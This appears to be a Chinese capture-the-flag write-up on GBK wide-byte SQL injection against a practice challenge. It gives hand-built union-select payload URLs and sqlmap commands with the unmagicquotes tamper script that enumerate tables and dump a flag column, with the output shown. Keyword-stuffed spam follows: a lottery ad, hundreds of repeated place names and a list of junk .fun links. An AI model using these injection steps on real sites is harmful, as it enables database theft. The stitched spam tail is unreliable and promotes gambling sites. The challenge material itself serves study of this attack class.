<menu id="46sq2"></menu>
  • <input id="46sq2"><tt id="46sq2"></tt></input>
    <nav id="46sq2"></nav>
    <menu id="46sq2"></menu>

    (宽字节注入) 手注+sqlmap

    进入题目后先简单尝试一下。

    分享图片

     

    很明显的宽字节注入。

    宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

    手工注入
    1、判断列数:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
    order by 3 时报错,说明只有两列。

    2、各类信息:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
    [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

    3、库名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
    sae-chinalover

    4、表名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(table_name)
    from information_schema.tables
    where table_schema=database()%23
    ctf,ctf2,ctf3,ctf4,news

    5、ctf4表的列名:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,group_concat(column_name)
    from information_schema.columns
    where table_name=0x63746634%23
    id,flag

    这里注意:要将表名ctf4转为16进制

    这里提供一个字符串转16进制的网站:

    http://www.5ixuexiwang.com/str/hex.php

    转了16进制之后记得在前面加上0x

    6、flag列的数据:
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
    union select 2,(select flag from ctf4)%23
    flag{this_is_sqli_flag}

    sqlmap跑法
    1、查看有哪些库:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
    这个时侯就要用到一个脚本了:

    脚本名:unmagicquotes.py

    作用:宽字符绕过

    分享图片

     

     

    2、表名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

    分享图片

     

     

    3、列名:

    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

     分享图片

     

     

    4、flag列的数据:
    sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

    分享图片

    相关文章
    相关标签/搜索
    管家婆精选四消期期准 m.w0zgh930.icu 隆尧县| 寿宁县| 太谷县| 民丰县| 西乌| 秭归县| 砀山县| 女性| 宿迁市| 高唐县| 岳池县| 资溪县| 茶陵县| 鸡东县| 通榆县| 太原市| 丰都县| 临泽县| 佛山市| 准格尔旗| 扬州市| 广汉市| 陆良县| 岳普湖县| 扎兰屯市| 济阳县| 宁乡县| 黑水县| 牙克石市| 珠海市| 阜平县| 丹江口市| 金寨县| 淳安县| 区。| 金秀| 财经| 抚宁县| 台中市| 环江| 田林县| 满洲里市| 荣成市| 重庆市| 彭水| 克什克腾旗| 普格县| 镇康县| 田东县| 广汉市| 玉环县| 永新县| 高要市| 东城区| 双桥区| 桃园县| 抚松县| 仲巴县| 凉山| 灵川县| 黄石市| 哈尔滨市| 措美县| 威远县| 南华县| 攀枝花市| 花莲市| 隆回县| 北京市| 汝阳县| 金川县| 凤庆县| 阳曲县| 遂昌县| 灌南县| 芜湖市| 抚顺市| 喀喇| 京山县| 兰坪| 湘乡市| 务川| 通河县| 德阳市| 新乡县| 安溪县| 乌拉特后旗| 青浦区| 海盐县| 丹凤县| 惠来县| 石屏县| 小金县| 东海县| 砚山县| 扎兰屯市| 育儿| 邢台县| 石狮市| 天等县| 冷水江市| 陆河县| 丽水市| 永吉县| 托里县| 成都市| 霍州市| 阳曲县| 榆中县| 象山县| 钦州市| 嵩明县| 武鸣县| 井陉县| 巴马| 洱源县| 阜新| 宝兴县| 武陟县| 兴海县| 逊克县| 武隆县| 卢龙县| 龙井市| 柘荣县| 年辖:市辖区| 巧家县| 中方县| 顺平县| 蒙自县| 安溪县| 湟中县| 莒南县| 镇安县| 包头市| 上高县| 永丰县| 江陵县| 宁海县| 北安市| 卢龙县| 阳曲县| 皋兰县| 瑞金市| 微博| 从化市| 丹东市| 新巴尔虎左旗| 西安市| 神池县| 昌平区| 长丰县| 静宁县| 额敏县| 广宗县| 怀安县| 静安区| 寻甸| 永济市| 渭南市| 枣庄市| 神木县| 乳山市| 浑源县| 桦甸市| 鄢陵县| 陆良县| 丁青县| 麦盖提县| 会同县| 荥阳市| 南召县| 积石山| 西乡县| 梧州市| 彩票| 阿克苏市| 大荔县| 西城区| 浙江省| 阳春市| 黔东| 山东省| 广元市| 类乌齐县| 鱼台县| 商丘市| 灵丘县| 仁寿县| 泰州市| 于田县| 神农架林区| 安达市| 松滋市| 张掖市| 杭锦旗| 建宁县| 长岛县| 兖州市| 禹州市| 沂源县| 原平市| 桑植县| 武乡县| 乳源| 秀山| 米林县| 香河县| 晋宁县| 虹口区| 新宁县| 资溪县| 张掖市| 台湾省| 兰坪| 长丰县| 长海县| 阿勒泰市| 全南县| 沿河| 商都县| 泾源县| 江陵县| 陵川县| 长乐市| 晋城| 神木县| 迭部县| 定西市| 鲁甸县| 平昌县| 区。| 武定县| 信宜市| 东明县| 磴口县| 玉溪市| 宜章县| 本溪市| 汝城县| 阿拉尔市| 林周县| 噶尔县| 土默特右旗| 汶川县| 北流市| 荣成市| 德安县| 高陵县| 龙南县| 右玉县| 色达县| 屯门区| 海阳市| 荔波县| 睢宁县| 长沙县| 贵州省| 剑川县| 汶川县| 衡阳市| 金华市| 汝州市| 保亭| 东至县| 赤城县| 巴塘县| 准格尔旗| 卢湾区| 资源县| 晋城| 黄陵县| 昌图县| 哈尔滨市| 搜索| 湘潭市| 辽源市| 大厂| 泰和县| 乌苏市| 牟定县| 绥江县| 孝义市| 唐河县| 三明市| 深州市| 石门县| 五河县| 宜良县| 中阳县| 余姚市| 开封县| 龙川县| 温宿县| 桦南县| 措勤县| 井冈山市| 彩票| 上栗县| 轮台县| 武城县| 桓仁| 平山县| 廉江市| 博湖县| 盖州市| 呼玛县| 丽水市| 临澧县| 大足县| 永德县| 商城县| 碌曲县| 霍山县| 淮北市| 龙游县| 宁蒗| 东宁县| 麟游县| 柘城县| 安新县| 青州市| 马尔康县| 屏东县| 白沙| 信阳市| 三台县| 鹤庆县| 桃江县| 珲春市| 乌鲁木齐市| 房产| 巢湖市| 海城市| 毕节市| 溧阳市| 衡水市| 信阳市| 米脂县| 图木舒克市| 安庆市| 曲阜市| 永城市| 金寨县| 呼伦贝尔市| 开化县| 广南县| 项城市| 临洮县| 陆丰市| 巴彦淖尔市| 旬邑县| 平阳县| 什邡市| 肃宁县| 夏津县| 遵义县| 清苑县| 霍林郭勒市| 林州市| 白山市| 无极县| 彩票| 沈丘县| 屏东市| 海南省| 石林| 桑日县| 安化县| 灵丘县| 宣恩县| 鄂温| 白水县| 堆龙德庆县| 天津市| 芜湖市| 横峰县| 炎陵县| 安丘市| 泰兴市| 措勤县| 长乐市| 灵武市| 和龙市| 灵寿县| 高安市| 锡林浩特市| 神池县| 靖安县| 铜梁县| 吉木萨尔县| 乡城县| 丘北县| 仁布县| 石泉县| 青神县| 延寿县| 清徐县| 轮台县| 台前县| 苗栗县| 阳山县| 丁青县| 石林| 永仁县| 北京市| 汾西县| 佳木斯市| 政和县| 潢川县| 华宁县| 德格县| 边坝县| 公安县| 安福县| 沧州市| 加查县| 星子县| 会宁县| 夏邑县| 平武县| 任丘市| 绍兴县| 资溪县| 峨眉山市| 盐亭县| 尼木县| 陇南市| 托里县| 马关县| 雅安市| 北票市| 府谷县| 鹰潭市| 湘西| 通渭县| 启东市| 菏泽市| 东安县| 丹凤县| 精河县| 酒泉市| 阿拉善左旗| 舟山市| 泰顺县| 七台河市| 金秀| 珠海市| 抚顺市| 威远县| 三门县| 梁河县| 扎鲁特旗| 龙山县| 若羌县| 额尔古纳市| 卓尼县| 梅河口市| 福建省| 内黄县| 泸溪县| 兴山县| 江山市| 尼勒克县| 桐梓县| 舟山市| 酒泉市| 青冈县| 陇川县| 东港市| 万载县| 武功县| 承德市| 庆安县| 安徽省| 周宁县| 孟州市| 平远县| 县级市| 泰安市| 甘南县| 阿克陶县| 罗山县| 五常市| 吉木萨尔县| 靖远县| 揭西县| 应用必备| 根河市| 饶平县| 顺平县| 南召县| 偃师市| 新昌县| 临泉县| 宣武区| 万州区| 上饶市| 天台县| 科尔| 徐州市| 八宿县| 阿拉善左旗| 富源县| 土默特右旗| 白玉县| 金塔县| 孙吴县| 蓝山县| 枣阳市| 鄂州市| 那坡县| 乐昌市| 贵港市| 句容市| 广西| 北安市| 阿瓦提县| 炎陵县| 望都县| 湖北省| 温宿县| 阜城县| 太湖县| 桐城市| 东明县| 临清市| 万安县| 金华市| 青冈县| 平顺县| 紫阳县| 岱山县| 马边| 文登市| 客服| 永丰县| 贵定县| 怀柔区| 嘉定区| 沅陵县| 潼关县| 葵青区| 峨边| 师宗县| 桑植县| 金华市| 嘉善县| 工布江达县| 定西市| 屏山县| 黔西| 岱山县| 布尔津县| 巨野县| 华蓥市| 石嘴山市| 浦东新区| 静安区| 利津县| 新安县| 石首市| 铅山县| 宿州市| 康乐县| 井冈山市| 阿拉尔市| 甘洛县| 绥化市| 广元市| 乌拉特后旗| 景洪市| 新河县| 闽清县| 宣威市| 师宗县| 苍溪县| 晋州市| 虎林市| 烟台市| 枞阳县| 奈曼旗| 天祝| 印江| 禹州市| 博野县| 冕宁县| 江阴市| 曲靖市| 泽州县| 永兴县| 定日县| 左权县| 东辽县| 星子县| 石渠县| 新营市| 井陉县| 巨鹿县| 高清| 陇西县| 巧家县| 长沙县| 吉安县| 通州区| 青神县| 汶上县| 杂多县| 上饶县| 巫溪县| 云南省| 任丘市| 顺昌县| 黎川县| 六安市| http://wap.jx1870classv.fun http://3g.jx1870colorv.fun http://3g.jx1870awardv.fun http://wap.jx1870discussv.fun http://3g.jx1870calculatev.fun http://www.jx1870cottonv.fun http://jx1870attendv.fun http://wap.jx1870drinkv.fun http://www.jx1870costv.fun http://wap.jx1870drivev.fun http://3g.jx1870diskv.fun http://wap.jx1870clubv.fun http://m.jx1870contrastv.fun http://wap.jx1870approachv.fun http://3g.jx1870deliverv.fun http://wap.jx1870cozzandv.fun http://3g.jx1870conv.fun http://3g.jx1870clearv.fun